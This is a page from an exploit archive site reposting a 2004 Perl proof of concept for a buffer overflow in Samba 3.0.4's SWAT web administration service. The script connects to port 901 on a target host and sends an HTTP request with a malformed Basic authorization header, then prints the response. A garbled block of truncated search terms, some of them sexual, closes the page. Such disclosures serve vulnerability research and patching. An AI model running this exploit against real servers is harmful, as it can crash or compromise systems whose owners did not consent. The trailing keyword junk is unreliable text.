about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Samba <=3.0.4 SWAT Authorization Buffer Overflow Exploit



2004-07-22 Samba <=3.0.4 SWAT Authorization Buffer Overflow Exploit
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host"
}

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712

Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
 print $_;
}
print "\n";

close $remote;


securitydot.net - 2004-07-22

Advertising

Copyright 2007, SecurityDot
Thu, 26 Nov 2009 21:43:36 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.ousat. www.infowf lo667l worldpres include cr www.bbdown www.qgz7.c www.hpgjcl tela apache0.6. sexy prno vectorwork Saximage GeForce3 T com_events None components news for c Www.jang.c nude breas backoffice /search/ex global ann world sex. Www.sexyvi 89s&am tourtravel None Www.oralse hot girls hot tv gir None Www.telugu None None SEXE MEN None t566t None world sex. linux 2,4 relay None hot mona c None hot priyan Photo girl HOT PAKIST hot katrin hot vidio.